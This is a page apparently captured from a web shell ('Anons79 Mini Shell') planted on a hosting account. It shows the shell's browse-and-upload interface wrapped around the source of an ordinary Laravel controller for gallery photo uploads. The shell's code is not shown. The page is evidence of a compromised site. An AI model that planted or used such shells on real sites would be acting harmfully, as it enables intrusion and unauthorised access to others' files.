Anons79 Mini Shell

Directory : /home/aplikasiposinfo/public_html/derfacell.fixmate.id/app/Http/Controllers/
Upload File :
Current File : /home/aplikasiposinfo/public_html/derfacell.fixmate.id/app/Http/Controllers/GaleriController.php

<?php

namespace App\Http\Controllers;

use App\Models\galeri;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\File;

class GaleriController extends Controller
{

    public function index()
    {

        $datas = galeri::get();
        return response()->view('galeri.index', ['datas' => $datas]);
    }
    public function edit($id)
    {
        $datas = galeri::find($id);
        return response()->view('galeri.edit', ['data' => $datas]);
    }
    public function create()
    {
        return response()->view('galeri.create');
    }
    public function store(Request $request)
    {

        DB::beginTransaction();
        try {
            $request->validate([
                'photo' => 'required|image|mimes:jpeg,png,jpg,gif|max:2000',
                'kategori' => 'required'
            ]);
            $data = ['kategori' => $request->kategori];

            if ($request->hasFile('photo')) {


                $photo_file = $request->file('photo');
                $photo_ekstensi = $photo_file->extension();
                $photo_baru = "photo-" . date('ymdhis') . ".$photo_ekstensi";
                $photo_file->move(public_path('images/Galeri'), $photo_baru);
                $data['photo'] = $photo_baru;
            } else {
                return redirect()->route('profil.index')->with('error', "Masukan Foto terlebih dahulu!");
            }
            galeri::create($data);
            DB::commit();
            return redirect()->route('galeri.index')->with('success', 'Foto Galeri berhasil di tambahkan.');
        } catch (\Throwable $th) {

            DB::rollback();
            return redirect()->route('galeri.index')->with('error', $th->getMessage());
        }
    }
    public function update(Request $request, $id)
    {
        DB::beginTransaction();
        try {
            $request->validate([
                'photo' => 'image|mimes:jpeg,png,jpg,gif|max:2048',
                'kategori' => 'required'

            ]);

            $galeri = galeri::find($id);
            $data = ['kategori' => $request->kategori];


            if ($request->hasFile('photo')) {


                $photo_file = $request->file('photo');
                $photo_ekstensi = $photo_file->extension();
                $photo_baru = "photo-" . date('ymdhis') . ".$photo_ekstensi";
                $photo_file->move(public_path('images/Galeri'), $photo_baru);
                $data['photo'] = $photo_baru;
                $photo_lama = $galeri->photo;
                File::delete(public_path('images/Galeri') . "/" . $photo_lama);
            }

            $galeri->update($data);
            DB::commit();
            return redirect()->route('galeri.index')->with('success', 'Profil berhasil diubah');
        } catch (\Throwable $th) {
            DB::rollback();
            return redirect()->route('galeri.index')->with('error', $th->getMessage());
        }
    }
    public function destroy(galeri $galeri)
    {
        DB::beginTransaction();
        try {
            $photo_lama = $galeri->photo;
            File::delete(public_path('images/Galeri') . "/" . $photo_lama);
            $galeri->delete();
            DB::commit();
            return redirect()->route('galeri.index')->with('success', 'galeri berhasil dihapus');
        } catch (\Throwable $th) {
            DB::rollback();
            return redirect()->route('galeri.index')->with('error', 'Item gagal dihapus');
        }
    }
}

Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]